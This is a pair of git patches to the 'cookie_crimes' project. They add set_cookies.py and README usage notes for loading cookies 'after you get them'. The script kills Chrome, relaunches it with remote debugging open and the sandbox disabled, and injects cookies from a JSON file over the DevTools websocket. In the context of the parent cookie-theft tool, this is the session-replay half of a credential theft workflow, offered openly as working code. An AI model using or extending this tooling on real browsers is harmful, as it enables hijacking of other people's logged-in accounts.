From 68a5fabe85bba636d33e2fcb0a05b41d4fb36930 Mon Sep 17 00:00:00 2001 From: IceMoonHSV <62567946+IceMoonHSV@users.noreply.github.com> Date: Wed, 14 Apr 2021 17:54:07 -0500 Subject: [PATCH 1/2] Add files via upload Added script to load cookies into Chrome and option to clear cookies before loading. --- set_cookies.py | 107 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 107 insertions(+) create mode 100644 set_cookies.py diff --git a/set_cookies.py b/set_cookies.py new file mode 100644 index 0000000..999095f --- /dev/null +++ b/set_cookies.py @@ -0,0 +1,107 @@ +#ADPATED FROM https://github.com/defaultnamehere/cookie_crimes/blob/master/cookie_crimes.py + +import os +import shlex +import shutil +import signal +import sys +import time +import json +import subprocess +import requests +import websocket +import argparse + +parser = argparse.ArgumentParser() +parser.add_argument('file', metavar='file', type=str, + help="Full path to .json files containing cookies") +parser.add_argument("-c", "--clear", action="store_true", + help="clear all current cookies in the browser") + +def escape(s): + return s.replace(" ", "\ ") + +def cookie_reader(cookies): + f = open(cookies, "r") + USER_COOKIES = f.read() + COOKIES = json.loads(USER_COOKIES) + SET_COOKIES = json.dumps({"id": 1, "method": "Network.setCookies", "params":{"cookies":COOKIES}}) + return SET_COOKIES + +os_flags = [] + +# Determining the OS to make sure chrome is opened correctly +if sys.platform.startswith("linux"): + CHROME_CMD = "google-chrome" + KILL_CMD = "pkill chrome" + LINUX_CHROME_CMDS = ["/usr/bin/google-chrome-stable", "/usr/bin/google-chrome-beta", "/usr/bin/google-chrome"] + for cmd in LINUX_CHROME_CMDS: + if os.path.isfile(cmd): + CHROME_CMD = cmd + break + +elif sys.platform.startswith("darwin"): + KILL_CMD = "killall Google\ Chrome" + CHROME_CMD = "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" + os_flags.append("--crash-dumps-dir=/tmp") + +elif sys.platform.startswith("win"): + KILL_CMD = "taskkill /F /IM chrome.exe" + CHROME_CMD = "C:\PROGRA~2\Google\Chrome\Application\chrome.exe" + +else: + raise RuntimeError("\"%s\"?" % sys.platform) + +chrome_args = [ + "https://google.com", + "--remote-debugging-port=9222", + "--disable-gpu", + "--no-sandbox" + ] + +CHROME_DEBUGGING_CMD = [escape(CHROME_CMD)] + chrome_args + os_flags +CHROME_DEBUGGING_CMD = " ".join(CHROME_DEBUGGING_CMD) + +def kill_chrome(): + process = subprocess.Popen(KILL_CMD, shell=True) + +def clear_cookies(ws_url, clear): + if clear == True: + CLEAR_COOKIES = json.dumps({"id": 1, "method": "Network.clearBrowserCookies"}) + ws = websocket.create_connection(ws_url) + ws.send(CLEAR_COOKIES) + ws.close() + print("All previous cookies cleared.") + else: + print("Cookies not cleared") + +def start_chrome(): + process = subprocess.Popen(CHROME_DEBUGGING_CMD, shell=True) + time.sleep(3) + return process + +def find_websocket(): + response = requests.get("http://localhost:9222/json") + websocket_url = response.json()[0].get("webSocketDebuggerUrl") + return websocket_url + +def insert_cookies(ws_url, SET_COOKIES): + ws = websocket.create_connection(ws_url) + #print(SET_COOKIES) + ws.send(SET_COOKIES) + ws.close() + print("Loaded cookies") + +if __name__ == "__main__": + args = parser.parse_args() + cookies = args.file + clear = args.clear + SET_COOKIES = cookie_reader(cookies) + kill_chrome() + time.sleep(2) + process = start_chrome() + ws_url = find_websocket() + time.sleep(1) #let it start up before you try to load cookies + clear_cookies(ws_url, clear) + insert_cookies(ws_url, SET_COOKIES) + From ccd2f953ec361d371125a61596927ae340f6db6f Mon Sep 17 00:00:00 2001 From: IceMoonHSV <62567946+IceMoonHSV@users.noreply.github.com> Date: Wed, 14 Apr 2021 18:04:21 -0500 Subject: [PATCH 2/2] Update with documentation for using set_cookies.py Added script for loading cookies due to difficulty getting browser extension to load large files and blobs of cookies. --- README.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/README.md b/README.md index 00f4322..6f9d412 100644 --- a/README.md +++ b/README.md @@ -77,6 +77,17 @@ Listen I know that's not Chrome, but hear me out. Because Edge is based on Chrom ### Multiple Profiles If you want to extract the Chrome cookies for a profile other than the Default profile, just edit the `PROFILE` variable in `cookie_crimes.py`. This uses some sneaky "writing to `/tmp`" tricks to trick Chrome into reading the cookies for us. +### Load Cookies +If you want to load the cookies after you get them, you can run the `set_cookies.py` script locally. It will open Chrome locally with the debug port open, optionally clear cookies, and load cookies from a json file. +Usage: +``` +python set_cookies.py cookies.json -c + +python set_cookies.py google_cookies.json --clear + +python set_cookies.py all_cookies.json +``` + ## How it works ### Headless Chrome and `user-data-dir`